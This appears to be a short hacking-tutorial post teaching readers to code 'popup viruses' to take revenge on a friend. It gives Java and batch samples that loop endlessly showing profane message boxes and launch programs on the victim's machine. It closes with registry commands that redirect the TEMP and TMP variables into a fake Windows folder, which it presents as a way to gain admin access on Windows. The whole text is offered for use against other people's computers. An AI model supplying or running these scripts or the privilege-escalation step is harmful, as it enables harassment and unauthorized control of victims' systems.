Coding popup virus....

Viruses have always been an important part of hacking for a long time. These malicious programs can help you perform specific commands on any victim computer. These are very helpful when you want to take revenge from a friend.  So we decided to teach you how to code popup viruses which are non lethal to the victim's computer.

How to?

1. The first step to code a nice virus is deciding what you want to display on your friend's computer. The commonly used phrases are "you are a dick" ," pay for your sins " and "f@## you!" , now the first thing to remember that these messages should be in string data type.
2. The second part to create a popup virus is the infinite loop, this is a loo that has no end point. For example if you are coding a java virus your popup command should be inside while(true) {  }.
3. The last step to save the file with suitable extension. For example if you are creating a bat file then you should save the program as filename.bat or if you are coding a java virus then you will need to save the files in the form of a jar executable  file.

Sample codes:-

Java code:-
 private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {           
        while(true)
        {
        JOptionPane.showMessageDialog(this,"fuck you","pay for your sins",3);
        }

    } 

Batch code:-
:top
@echo off
msg * (you fucked my life)
cls
msg * (now my turn)

cls
GOTOtop

Note:-
For developing java viruses we will advice you to use netbeans as it makes the process of coding a lot easy. And as far as .bat scripting is considered notepad is the best tool you can use.

In batch viruses you can use code like 
start iexplore.exe "www.google.com"

START %SystemRoot%\system32\notepad.exe
to open notepad and internet explorer. 

You can also use the code by a google researcher to get admin access on windows:
reg add HKCU\Environment /v TEMP /f /t REG_EXPAND_SZ /d %%USERPROFILE%%\..\..\..\..\..\windows\faketemp

reg add HKCU\Environment /v TMP /f /t REG_EXPAND_SZ /d %%USERPROFILE%%\..\..\..\..\..\windows\faketemp